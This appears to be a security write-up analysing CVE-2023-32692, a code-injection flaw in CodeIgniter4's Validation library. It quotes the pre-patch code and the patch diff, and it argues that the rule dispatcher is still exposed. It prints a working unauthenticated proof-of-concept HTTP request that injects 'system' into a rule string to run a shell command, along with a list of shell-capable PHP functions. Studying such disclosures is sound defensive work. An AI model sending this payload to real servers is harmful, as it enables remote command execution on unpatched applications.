CVE-2023-32692 is a code-injection vulnerability in CodeIgniter4's Validation library, patched in v4.3.5 on May 21, 2023. The bug is one line: $row = strtr($row, $replacements); inside fillPlaceholders(). $replacements is built from the inbound request data. $row is a rule string the framework will later split on | and dispatch by name. The fix pre-validates the placeholder field's value before substitution. The dispatcher that the substituted text reaches resolves rule names through is_callable($rule), and is_callable("system") returns true.
CVE-2023-32692: system Is a Rule Name in CodeIgniter4 Validation
vendor
pattern
cve
proof of concept
The rule string is the program
The Validation library's documented example, copy-pasted from the user guide and reproduced in every CodeIgniter4 tutorial:
$validation->setRules([
'email' => 'required|valid_email|is_unique[users.email,id,{id}]',
]);The string is the rule set for the email field. The | splits it into three rule expressions: required, valid_email, is_unique[users.email,id,{id}]. The brackets carry parameters. The {id} is a placeholder. At validation time, it resolves to the value of the id field in the same request data, so a developer can write "this email must be unique except for the row whose id matches this form's id."
Before v4.3.5, the resolution was a textual substitution into the rule string. From system/Validation/Validation.php at the pre-patch tip:
protected function fillPlaceholders(array $rules, array $data): array
{
$replacements = [];
foreach ($data as $key => $value) {
$replacements["{{$key}}"] = $value;
}
if ($replacements !== []) {
foreach ($rules as &$rule) {
$ruleSet = $rule['rules'] ?? $rule;
if (is_array($ruleSet)) {
foreach ($ruleSet as &$row) {
if (is_string($row)) {
$row = strtr($row, $replacements);
}
}
}
// ...
}
}
return $rules;
}Every key in $data becomes a substitution token. Every value is whatever the request sent for that key. No characters are escaped, no token is constrained to a placeholder field the developer named, and no validation runs before the strtr rewrites the rule string. The rule string is now whatever the attacker wanted to inject into it.
is_callable is the dispatcher
After substitution, the framework processes the rules one at a time. From pre-patch processRules, lightly trimmed:
foreach ($rules as $i => $rule) {
$isCallable = is_callable($rule);
$passed = false;
$param = false;
if (! $isCallable && preg_match('/(.*?)\[(.*)\]/', $rule, $match)) {
$rule = $match[1];
$param = $match[2];
}
if ($this->isClosure($rule)) {
$passed = $rule($value, $data, $error, $field);
} elseif ($isCallable) {
$passed = $param === false ? $rule($value) : $rule($value, $param, $data);
} else {
// Walk the framework's ruleSetInstances for a method named $rule.
foreach ($this->ruleSetInstances as $set) {
if (! method_exists($set, $rule)) {
continue;
}
$found = true;
$passed = $param === false
? $set->{$rule}($value, $error)
: $set->{$rule}($value, $param, $data, $error, $field);
break;
}
if (! $found) {
throw ValidationException::forRuleNotFound($rule);
}
}
}The dispatcher computes is_callable($rule) BEFORE the bracket-extraction regex. The bracket extraction only runs in the ! $isCallable branch. So a string that is already callable as a PHP function name skips the parameter parsing entirely and reaches $rule($value) directly.
PHP's is_callable accepts a string and returns true if that string names anything the current runtime can call. A user-defined function. A method on a class loaded by the autoloader. A registered closure. And every PHP built-in.
is_callable("system") // true
is_callable("passthru") // true
is_callable("exec") // true
is_callable("shell_exec") // true
is_callable("proc_open") // true
is_callable("popen") // true
is_callable("assert") // trueThe framework's rule namespace, the set of strings the validation library is willing to treat as a "rule," is the entire callable surface of the PHP interpreter. CodeIgniter's own rule classes (FormatRules, Rules, CreditCardRules, FileRules) live in the else branch, behind the ! $isCallable check. PHP's built-in function table lives in front of them.
When the dispatcher reaches $rule($value) with $rule = "system" and $value being the form's email field, the call is system($email_value). system reads its first argument as a shell command line.
The exploit chain, from the wire to a PHP function call
The MOGWAI Labs writeup uses this rule set, which is what the application would actually look like when the developer cares about uniqueness more than email format:
$validation->setRules([
'email' => 'required|max_length[254]|is_unique[users.email,id,{id}]',
]);The payload:
POST /register HTTP/1.1
Content-Type: application/x-www-form-urlencoded
id=1]|system|[&email=touch${IFS}/tmp/pwned&&[email protected]fillPlaceholders runs first. $data['id'] is the string 1]|system|[. strtr substitutes {id} in the rule string. The email field's rule string becomes:
required|max_length[254]|is_unique[users.email,id,1]|system|[]splitRules splits the string on |. It is bracket-aware (it counts [ and ] so a pipe inside a parameter does not split), so the result is:
["required", "max_length[254]", "is_unique[users.email,id,1]", "system", "[]"]Five rules. processRules iterates.
requiredpasses. The email value is non-empty.max_length[254]passes. The value is well under 254 characters.is_unique[users.email,id,1]passes. The database does not already contain that email at any row, let alone the row whose id is 1.system.is_callable("system")is true. The bracket regex does not match (no brackets in the string).$paramis false. The dispatcher calls$rule($value), which issystem("touch${IFS}/tmp/pwned&&[email protected]"). PHP forks/bin/sh -cwith that argument. Bash expands${IFS}to a space. The shell runstouch /tmp/pwned && ls @foobar.com. The first command succeeds. The second command fails harmlessly.systemreturns the last line of output, a non-empty string, which the dispatcher treats as truthy. The rule "passes."[].is_callable("[]")is false. The bracket regex matches$rule = "",$param = "". The ruleSet loop finds no method named the empty string.ValidationException::forRuleNotFoundis thrown.
The application returns a 500. The touch happened first.
The PoC is six characters of injected rule syntax (]|system|[) and three pieces of shell quoting (${IFS}, &&, the trailing @foobar.com to absorb the local-part terminator). No authentication. No session. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, which is the CVE record reporting that PHP's function table is reachable from an unauthenticated form post.
The patch
The May 2023 commit (249c9151) rewrites fillPlaceholders from 24 lines into 53, with a new helper. The shape:
protected function fillPlaceholders(array $rules, array $data): array
{
- $replacements = [];
+ foreach ($rules as &$rule) {
+ $ruleSet = $rule['rules'];
- foreach ($data as $key => $value) {
- $replacements["{{$key}}"] = $value;
- }
+ foreach ($ruleSet as &$row) {
+ if (is_string($row)) {
+ $placeholderFields = $this->retrievePlaceholders($row, $data);
- if ($replacements !== []) {
- foreach ($rules as &$rule) {
- $ruleSet = $rule['rules'] ?? $rule;
- if (is_array($ruleSet)) {
- foreach ($ruleSet as &$row) {
- if (is_string($row)) {
- $row = strtr($row, $replacements);
- }
+ foreach ($placeholderFields as $field) {
+ $validator ??= Services::validation(null, false);
+ $placeholderRules = $rules[$field]['rules'] ?? null;
+
+ if ($placeholderRules === null) {
+ throw new LogicException(
+ 'No validation rules for the placeholder: ' . $field
+ );
+ }
+ foreach ($placeholderRules as $placeholderRule) {
+ if ($this->retrievePlaceholders($placeholderRule, $data)) {
+ throw new LogicException(
+ 'The placeholder field cannot use placeholder: ' . $field
+ );
+ }
+ }
+ if (! $validator->check($data[$field], implode('|', $placeholderRules))) {
+ continue;
+ }
+ $ruleSet = str_replace('{' . $field . '}', $data[$field], $ruleSet);
}
}
}
+ $rule['rules'] = $ruleSet;
}
return $rules;
}Three new requirements, all enforced at runtime:
The placeholder field must have its own validation rules. If it does not, LogicException is thrown the first time fillPlaceholders sees the placeholder. The framework now refuses to substitute a value the developer never validated.
The placeholder field's rules may not themselves contain placeholders. No transitive substitution.
The placeholder value must pass its own rules before substitution. If it does not, the placeholder is left intact in the rule string and substitution is skipped.
The user guide picked up a warning the same week, sitting under the placeholders section in validation.rst:
Since v4.3.5, you must set the validation rules for the placeholder field (the
idfield in the sample code above) for security reasons. Because attackers can send any data to your application.
That sentence is the framework writing down what its own validator was doing for three years. The rule string was a sink. The placeholder substitution was a content-channel into the sink. The dispatcher at the bottom of the call was a function-name lookup. None of that was named anywhere in the codebase before the patch added a LogicException for the missing-rules case.
The dispatcher is unchanged in master
The May 2023 commit modifies fillPlaceholders. It does not touch processRules. system/Validation/Validation.php at HEAD of the develop branch, May 2026:
foreach ($rules as $i => $rule) {
$isCallable = is_callable($rule);
$stringCallable = $isCallable && is_string($rule);
$arrayCallable = $isCallable && is_array($rule);
$passed = false;
$param = null;
if (! $isCallable && preg_match('/(.*?)\[(.*)\]/', $rule, $match)) {
$rule = $match[1];
$param = $match[2];
}
if ($this->isClosure($rule)) {
$passed = $rule($value, $data, $error, $field);
} elseif ($isCallable) {
$passed = $stringCallable ? $rule($value) : $rule($value, $data, $error, $field);
}
// ...
}The same is_callable($rule) check. The same $rule($value) for string-callables. The same precedence: callability wins over bracket extraction. The function-name lookup that turned system into a rule four CodeIgniter4 majors ago is structurally identical four CodeIgniter4 majors later.
The fix closes the path that delivered attacker text into a rule string through placeholder substitution. It does not close any of the other paths. The user guide, in the same May 2026 master branch, still advertises one:
This can also be used to create more dynamic rules at runtime, as long as you take care that any dynamic keys passed in don't conflict with your form data.
Application code that builds rule strings from session data, query results, admin-provided configuration, anything not the request's own form fields, has reproduced the primitive fillPlaceholders once owned. The patch lives inside fillPlaceholders. The dispatcher is downstream of every rule-string source the framework exposes. A controller that writes:
$validation->setRule('username', "required|alpha_numeric|min_length[$adminConfiguredMinimum]");and where $adminConfiguredMinimum is anywhere user-influenceable, has the same primitive as the pre-patch placeholder bug. There is no LogicException for that case because there is no shared chokepoint to add one to.
Why the primitive exists
The shape is content-is-command. The form data is the content channel. The rule string is the interpreter's program text. The interpreter has a tokenizer (splitRules, splitting on |), a parameter extractor (the bracket regex), and a dispatch table with two branches. One branch is the framework's own rule classes, walked by method_exists. The other branch is is_callable, which resolves to the runtime's full callable surface.
The framework's authors did not design the rule DSL to dispatch into PHP's function table. They designed it to dispatch into their rule classes. The is_callable branch was added to support PHP callables, the kind a developer would pass as a closure or as [Class::class, 'method'], for inline custom rules. The framework needed a way to recognize "this rule is already a callable thing, just call it." is_callable is the obvious check.
The check does what its name says. It returns true for callables. PHP's built-in functions are callables. So the moment any attacker-influenced text reaches the rule list as a string, the rule-name lookup is a function-name lookup across the entire interpreter, and the function the lookup picks runs with the field's value as its first argument.
The patch admits this implicitly by adding three layers of validation in front of strtr. It does not name the dispatcher and does not sandbox the dispatcher. The dispatcher stays because changing it would mean breaking every CodeIgniter4 application that registers a PHP-callable string as a rule, and the framework cannot tell which strings the developer meant as "framework rule" and which they meant as "PHP function." The DSL was designed not to need to tell.
This is the same shape that produced graphql-ruby's CVE-2025-27407 and Handlebars' CVE-2026-33937: a framework whose internal DSL is, at the bottom of its call stack, the host language's evaluator. The fix in each case closes a specific path that delivers attacker text to the evaluator. The evaluator stays, because removing it would mean rewriting the DSL's contract with everyone who built on top of it.
PoC: mogwailabs.de/en/blog/2026/05/vulnerability-spotlight-cve-2023-32692/
The patch closes the route to the dispatcher. It does not close the dispatcher.